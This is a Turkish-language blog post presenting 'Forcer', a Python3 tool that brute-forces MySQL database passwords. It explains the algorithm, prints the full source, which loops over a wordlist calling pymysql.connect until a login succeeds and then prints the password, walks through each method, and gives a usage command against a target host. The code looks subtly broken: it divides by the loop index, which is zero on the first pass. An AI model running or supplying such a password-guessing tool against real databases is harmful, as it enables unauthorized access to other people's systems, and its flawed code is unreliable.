Forcer – MySQL Database Brute Force Tool

Forcer, MySQL veritabanları için geliştirilmiş bir brute-force tooludur. Basit bir algoritmaya sahip olan bu tool Python3 ile kodlanmışıtr.

Algoritma

Algoritma

Forcer kendisine verilen host, username ve wordlist bilgilerini kullanarak hedef sisteme bağlantı kurulana kadar bağlanmaya çalışır (şifre denemesi yapar). Bağlantı kurulduğunda ise bağlanılan şifreyi ekrana basar. Forcer’ın asıl algoritmasında olup bu resimde olmayan bazı modüller bulunmaktadır, bu özellikler toolun bilgi fazladan vermesi için kullanılmıştır.

Geliştirme

Toolun geliştirilmesinde modül çeşitliliği ve kolay kullanılabilirliğinden dolayı Python3 kullanılmıştır. Kullanılan modüller:

  • PyMySQL Module
  • Sys Module
  • Datetime Module
  • Time Module
  • Threading Module # Gerek olmayabilir…

Detaylı bilgi için Github reposuna bakabilirsiniz.

Kodlar

import pymysql, sys, datetime, time
from threading import Thread

class Forcer:
    def __init__(self, host = "127.0.0.1", user = "root", wls = "wordlist.txt"):
        self.__host = host
        self.__user = user
        self.__wordlistname = wls
        self.TakeWordlist()
        #self.CalcTime()
        self.Attack()
    def ReturnSettings(self):
        return(self.__host, self.__user, self.__wordlist)
    def TakeWordlist(self):
        with open(self.__wordlistname) as wls:
            self.__wordlist = wls.read().split()
    def Attack(self):
        self.__startdate = datetime.datetime.now()
        self.__finishdate = 0
        print(f"-*- Attack Started -*-\nWords:{len(self.__wordlist)}")
        for i in range(len(self.__wordlist)):
            try:
                self.__finishdate = datetime.datetime.now()
                ort =+ (self.__finishdate.microsecond-self.__startdate.microsecond)/i
                print("{}\t{}\t{}".format(i, self.__finishdate-self.__startdate, self.__wordlist[i]))
                pymysql.connect(host=self.__host, user=self.__user, password=self.__wordlist[i])
            except:
                pass
            else:
                print(f"Found: {self.__wordlist[i]} [{self.__finishdate-self.__startdate}]")
                sys.exit(1)
                break
if __name__ == "__main__":
    f = Forcer(host = sys.argv[1], user = sys.argv[2], wls = sys.argv[3])

İnceleme

Sırasıyla inceleyecek olursak, ilk iki satır modüllerin dahil edilmesiyle ilgili. Sonrasında bir class tanımlanmakta.

def __init__(self, host, user, wls)

Bu fonksiyonda dışarıdan gelen bilgiler sınıfın içerisine dahil edilmiştir. host, user ve wls parametreleri saldırı sırasında kullanılacak değişkenlerdir.

TakeWordlist ve Attack metotları ile birlikte saldırı işlemi başlatılır.

def TakeWordlist(self)

Bu metotta sınıfın içerisine dahil edilen wordlist açılır ve içeriği (kelimeler) sınıfa aktarılıp saldırıda kullanılmak üzere bekletilir.

def Attack(self)

Saldırıyı başlatan metot. Metodun ilk satırlarında başlangıç ve bitiş zamanını tutan değişkenler tanımlanır sonrasında saldırını başladığını bildiren bir çıktıdan sonra program wordlistin uzunluğu kadar dönecek bir döngüye girer ve try-except-else bloğu başlar.

Try bloğunda programram veritabanına bağlanmayı dener, başaramazsa except’e girer sonrasında try bloğuna geri döner. Bu işlem bağlantı kurulana kadar devam eder, bağlantı kurulduğunda ise program else bloğuna girip şifreyi gösterir.

Try

Bitiş zamanı tanımlanır ve sürenin ortalaması alınıp değişkene aktarılır ( finish – start / i ). Ekrana denenen kelime ve geçen zaman bilgisi yazdırılır, son olarak pymysql.connect metoddu ile bağlantı denenir.

Except

Bağlantının başarısız olacağı zaman programın girdiği blok, pass.

Else

Pymysql.connect ile veritabanına bağlantının sağlanması durumunda programın gireceği blok. Program bu bloğa girdiğinde ekrana şifreyi yazdıracak ve sys.exit(1) komutuyla çıkış yapacaktır.

Kullanımı

$ python3 forcer.py 192.168.2.32 admin /home/doe/wlists/wls.txt

Sırasıyla host, kullanıcı adı ve wordlist parametreleri girilerek saldırı başlatılır.

suhaarslan

Posts created 14

Leave a Reply

Your email address will not be published. Required fields are marked *

Related Posts

Begin typing your search term above and press enter to search. Press ESC to cancel.

Back To Top